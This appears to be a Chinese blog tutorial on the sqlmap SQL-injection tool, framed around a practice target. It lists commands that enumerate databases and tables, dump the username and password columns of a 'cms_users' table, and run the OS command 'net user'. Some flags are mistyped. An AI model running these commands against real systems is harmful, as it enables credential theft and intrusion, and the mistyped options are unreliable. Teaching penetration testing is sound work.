sqlmap
请参考连接文章了解并学习手动SQL注入2020年了,还要学习SQL注入吗?
手动检测一个URL还比较简单,但是要是面对一堆URL呢?就像一大波僵尸来袭,一个豌豆射手恐怕不行了,为了不让僵尸吃掉你的脑子,我们得升级,先把豌豆射手升级成机枪射手试试
SQL注入工具的出现恰如雪中送炭,目前这类工具受欢迎的很多,但SQLMap却在其中总能排第一
SQLMap是一个开放源码的自动化渗透测试工具,可以自动检测和利用SQL注入漏洞,是我们的一大帮手,如果URL中存在注入漏洞,它就可以从数据库中提取数据,如果权限很大,甚至能够在操作系统上读写文件、执行命令
特征
图片截自sqlmap官网,左图为原文,右图为Google翻译的原文
使用教程
以扫描靶机,提取管理员数据为例
请勿在现实中尝试,不要试图挑战法律的底线
1、sqlmap.py -u "URL"
判断是否是注入点,如果URL存在注入点将会显示出Web容器,数据库版本等信息
2、sqlmap.py -u "URL" --dbs
判断存在注入点后,尝试获取数据库信息,使用 --dbs 参数读取数据库,此指令可以爆出所有数据库
3、sqlmap.py -u "URL" --current-db
查看当前程序所用数据库
4、sqlmap.py -u "URL" --tables -D "cms"
使用--tables获取数据库中的表,-D指定数据库,此指令可以爆出指定数据库中所有表
5、sqlmap.py -u "URL" --columns -T "cms_users" -D"cms"
使用--columns获取所有字段名,-T指定表,-D指定数据库
6、sqlmap.py -u "URL" --dump -C “username,password” -T “cms_users” -D"cms"
使用--dump读取字段内容,-C指定字段名,-T指定表,-D指定数据库
SQLMap的参数
想要真正掌握SQLMap,它的参数就是无法绕过的,例如前文所提的--dump、--tables、-D等等
掌握了更多参数,从射手嘴里吐出的豌豆粒就越多,也就越厉害!
其他常用参数
注入等级 sqlmap.py -u "URL" --level 3
HTTP头部注入 sqlmap.py -r "head.txt" --dbs
注入点权限测试 sqlmap.py -u "URL" -- privileges 测试所有用户的权限
执行shell命令 sqlmap.py -u "URL" -- os-cms = "net user" 执行net user命令
常用参数图